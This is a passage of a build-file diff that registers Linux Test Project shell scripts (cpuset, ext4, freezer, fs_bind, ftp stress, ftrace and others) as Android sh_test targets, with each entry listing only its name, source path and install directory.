+    name: "ltp_testcases_bin_cpuset_memory_pressure_testset.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_memory_pressure_test/cpuset_memory_pressure_testset.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_memory_pressure_testset.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_memory_spread_testset.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_memory_spread_testset.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_memory_testset.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_memory_testset.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_regression_test.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_regression_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_regression_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_sched_domains_test.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_sched_domains_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_sched_domains_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_cpuset_syscall_testset.sh",
+    src: "testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_testset.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "cpuset_syscall_testset.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_create_file",
+    src: "testcases/network/stress/ns-tools/create_file",
+    sub_dir: "ltp/testcases/bin",
+    filename: "create_file",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_daemonlib.sh",
+    src: "testcases/lib/daemonlib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "daemonlib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_data",
+    src: "testcases/kernel/sched/clisrv/data",
+    sub_dir: "ltp/testcases/bin",
+    filename: "data",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dccp01.sh",
+    src: "testcases/network/dccp/dccp01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dccp01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dccp_ipsec.sh",
+    src: "testcases/network/stress/dccp/dccp_ipsec.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dccp_ipsec.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dccp_ipsec_vti.sh",
+    src: "testcases/network/stress/dccp/dccp_ipsec_vti.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dccp_ipsec_vti.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dctcp01.sh",
+    src: "testcases/network/tcp_cc/dctcp01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dctcp01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dhcp_lib.sh",
+    src: "testcases/network/dhcp/dhcp_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dhcp_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dhcpd_tests.sh",
+    src: "testcases/network/dhcp/dhcpd_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dhcpd_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dns-stress",
+    src: "testcases/network/stress/dns/dns-stress",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dns-stress",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dns-stress-lib.sh",
+    src: "testcases/network/stress/dns/dns-stress-lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dns-stress-lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dns-stress01-rmt",
+    src: "testcases/network/stress/dns/dns-stress01-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dns-stress01-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dns-stress02-rmt",
+    src: "testcases/network/stress/dns/dns-stress02-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dns-stress02-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dnsmasq_tests.sh",
+    src: "testcases/network/dhcp/dnsmasq_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dnsmasq_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_dynamic_debug01.sh",
+    src: "testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "dynamic_debug01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4-alloc-test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4-alloc-test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_funcs.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4_funcs.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_funcs.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_get_inode_version.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_get_inode_version.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_get_inode_version.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_inode_version_test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_inode_version_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_inode_version_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_journal_checksum.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_journal_checksum.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_nsec_timestamps_test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_nsec_timestamps_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_online_defrag_test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-online-defrag/ext4_online_defrag_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_online_defrag_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_persist_prealloc_test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-persist-prealloc/ext4_persist_prealloc_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_persist_prealloc_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_subdir_limit_test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/ext4_subdir_limit_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_subdir_limit_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ext4_uninit_groups_test.sh",
+    src: "testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ext4_uninit_groups_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_file01.sh",
+    src: "testcases/commands/file/file01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "file01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_filecapstest.sh",
+    src: "testcases/kernel/security/filecaps/filecapstest.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "filecapstest.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_find_portbundle",
+    src: "testcases/network/stress/ns-tools/find_portbundle",
+    sub_dir: "ltp/testcases/bin",
+    filename: "find_portbundle",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_force_erase.sh",
+    src: "testcases/kernel/security/mmc_security/force_erase.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "force_erase.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fork_freeze.sh",
+    src: "testcases/kernel/controllers/freezer/fork_freeze.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fork_freeze.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_cancel.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_cancel.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_cancel.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_kill_thaw.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_kill_thaw.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_kill_thaw.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_move_thaw.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_move_thaw.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_move_thaw.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_self_thaw.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_self_thaw.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_self_thaw.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_sleep_thaw.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_sleep_thaw.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_sleep_thaw.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_thaw.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_thaw.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_thaw.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_freeze_write_freezing.sh",
+    src: "testcases/kernel/controllers/freezer/freeze_write_freezing.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "freeze_write_freezing.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs-bench-test.sh",
+    src: "testcases/kernel/fs/fs-bench/fs-bench-test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs-bench-test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs-bench-test2.sh",
+    src: "testcases/kernel/fs/fs-bench/fs-bench-test2.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs-bench-test2.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bin_check_prop",
+    src: "testcases/kernel/fs/fs_bind/bin/check_prop",
+    sub_dir: "ltp/testcases/bin/fs_bind/bin",
+    filename: "check_prop",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bin_lockfile",
+    src: "testcases/kernel/fs/fs_bind/bin/lockfile",
+    sub_dir: "ltp/testcases/bin/fs_bind/bin",
+    filename: "lockfile",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bin_makedir",
+    src: "testcases/kernel/fs/fs_bind/bin/makedir",
+    sub_dir: "ltp/testcases/bin/fs_bind/bin",
+    filename: "makedir",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bin_setup",
+    src: "testcases/kernel/fs/fs_bind/bin/setup",
+    sub_dir: "ltp/testcases/bin/fs_bind/bin",
+    filename: "setup",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bin_setupnslock",
+    src: "testcases/kernel/fs/fs_bind/bin/setupnslock",
+    sub_dir: "ltp/testcases/bin/fs_bind/bin",
+    filename: "setupnslock",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test10",
+    src: "testcases/kernel/fs/fs_bind/bind/test10",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test11",
+    src: "testcases/kernel/fs/fs_bind/bind/test11",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test12",
+    src: "testcases/kernel/fs/fs_bind/bind/test12",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test14",
+    src: "testcases/kernel/fs/fs_bind/bind/test14",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test15",
+    src: "testcases/kernel/fs/fs_bind/bind/test15",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test15",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test16",
+    src: "testcases/kernel/fs/fs_bind/bind/test16",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test16",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test18",
+    src: "testcases/kernel/fs/fs_bind/bind/test18",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test18",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_bind_test19",
+    src: "testcases/kernel/fs/fs_bind/bind/test19",
+    sub_dir: "ltp/testcases/bin/fs_bind/bind",
+    filename: "test19",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move_test08",
+    src: "testcases/kernel/fs/fs_bind/move/test08",
+    sub_dir: "ltp/testcases/bin/fs_bind/move",
+    filename: "test08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move_test22",
+    src: "testcases/kernel/fs/fs_bind/move/test22",
+    sub_dir: "ltp/testcases/bin/fs_bind/move",
+    filename: "test22",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test01",
+    src: "testcases/kernel/fs/fs_bind/rbind/test01",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test02",
+    src: "testcases/kernel/fs/fs_bind/rbind/test02",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test03",
+    src: "testcases/kernel/fs/fs_bind/rbind/test03",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test04",
+    src: "testcases/kernel/fs/fs_bind/rbind/test04",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test05",
+    src: "testcases/kernel/fs/fs_bind/rbind/test05",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test06",
+    src: "testcases/kernel/fs/fs_bind/rbind/test06",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test07",
+    src: "testcases/kernel/fs/fs_bind/rbind/test07",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test07-2",
+    src: "testcases/kernel/fs/fs_bind/rbind/test07-2",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test07-2",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test09",
+    src: "testcases/kernel/fs/fs_bind/rbind/test09",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test13",
+    src: "testcases/kernel/fs/fs_bind/rbind/test13",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test17",
+    src: "testcases/kernel/fs/fs_bind/rbind/test17",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test17",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test20",
+    src: "testcases/kernel/fs/fs_bind/rbind/test20",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test20",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test21",
+    src: "testcases/kernel/fs/fs_bind/rbind/test21",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test21",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test23",
+    src: "testcases/kernel/fs/fs_bind/rbind/test23",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test23",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test24",
+    src: "testcases/kernel/fs/fs_bind/rbind/test24",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test24",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test25",
+    src: "testcases/kernel/fs/fs_bind/rbind/test25",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test25",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test26",
+    src: "testcases/kernel/fs/fs_bind/rbind/test26",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test26",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test27",
+    src: "testcases/kernel/fs/fs_bind/rbind/test27",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test27",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test28",
+    src: "testcases/kernel/fs/fs_bind/rbind/test28",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test28",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test29",
+    src: "testcases/kernel/fs/fs_bind/rbind/test29",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test29",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test30",
+    src: "testcases/kernel/fs/fs_bind/rbind/test30",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test30",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test31",
+    src: "testcases/kernel/fs/fs_bind/rbind/test31",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test31",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test32",
+    src: "testcases/kernel/fs/fs_bind/rbind/test32",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test32",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test33",
+    src: "testcases/kernel/fs/fs_bind/rbind/test33",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test33",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test34",
+    src: "testcases/kernel/fs/fs_bind/rbind/test34",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test34",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test35",
+    src: "testcases/kernel/fs/fs_bind/rbind/test35",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test35",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test36",
+    src: "testcases/kernel/fs/fs_bind/rbind/test36",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test36",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test37",
+    src: "testcases/kernel/fs/fs_bind/rbind/test37",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test37",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test38",
+    src: "testcases/kernel/fs/fs_bind/rbind/test38",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test38",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind_test39",
+    src: "testcases/kernel/fs/fs_bind/rbind/test39",
+    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
+    filename: "test39",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_di",
+    src: "testcases/kernel/fs/fs_di/fs_di",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_di",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_inod",
+    src: "testcases/kernel/fs/fs_inod/fs_inod",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_inod",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer.sh",
+    src: "testcases/kernel/fs/racer/fs_racer.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_dir_create.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_dir_create.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_dir_create.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_dir_test.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_dir_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_dir_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_concat.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_concat.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_concat.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_create.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_create.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_create.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_link.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_link.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_link.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_list.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_list.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_list.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_rename.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_rename.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_rename.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_rm.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_rm.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_rm.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_racer_file_symlink.sh",
+    src: "testcases/kernel/fs/racer/fs_racer_file_symlink.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_racer_file_symlink.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fsx.sh",
+    src: "testcases/network/nfs/fsx-linux/fsx.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fsx.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fsxtest",
+    src: "testcases/kernel/fs/fsx-linux/fsxtest",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fsxtest",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fsxtest02",
+    src: "testcases/kernel/fs/fsx-linux/fsxtest02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fsxtest02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp-download-stress",
+    src: "testcases/network/stress/ftp/ftp-download-stress",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp-download-stress",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp-download-stress01-rmt",
+    src: "testcases/network/stress/ftp/ftp-download-stress01-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp-download-stress01-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp-download-stress02-rmt",
+    src: "testcases/network/stress/ftp/ftp-download-stress02-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp-download-stress02-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp-upload-stress",
+    src: "testcases/network/stress/ftp/ftp-upload-stress",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp-upload-stress",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp-upload-stress01-rmt",
+    src: "testcases/network/stress/ftp/ftp-upload-stress01-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp-upload-stress01-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp-upload-stress02-rmt",
+    src: "testcases/network/stress/ftp/ftp-upload-stress02-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp-upload-stress02-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp01",
+    src: "testcases/network/tcp_cmds/ftp/ftp01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftp_setup",
+    src: "testcases/network/tcp_cmds/ftp/ftp_setup",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftp_setup",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_lib.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftrace_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_regression01.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_regression01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftrace_regression01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_regression02.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_regression02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftrace_regression02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_buffer_size_kb.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_buffer_size_kb.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_buffer_size_kb.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_current_tracer.sh",
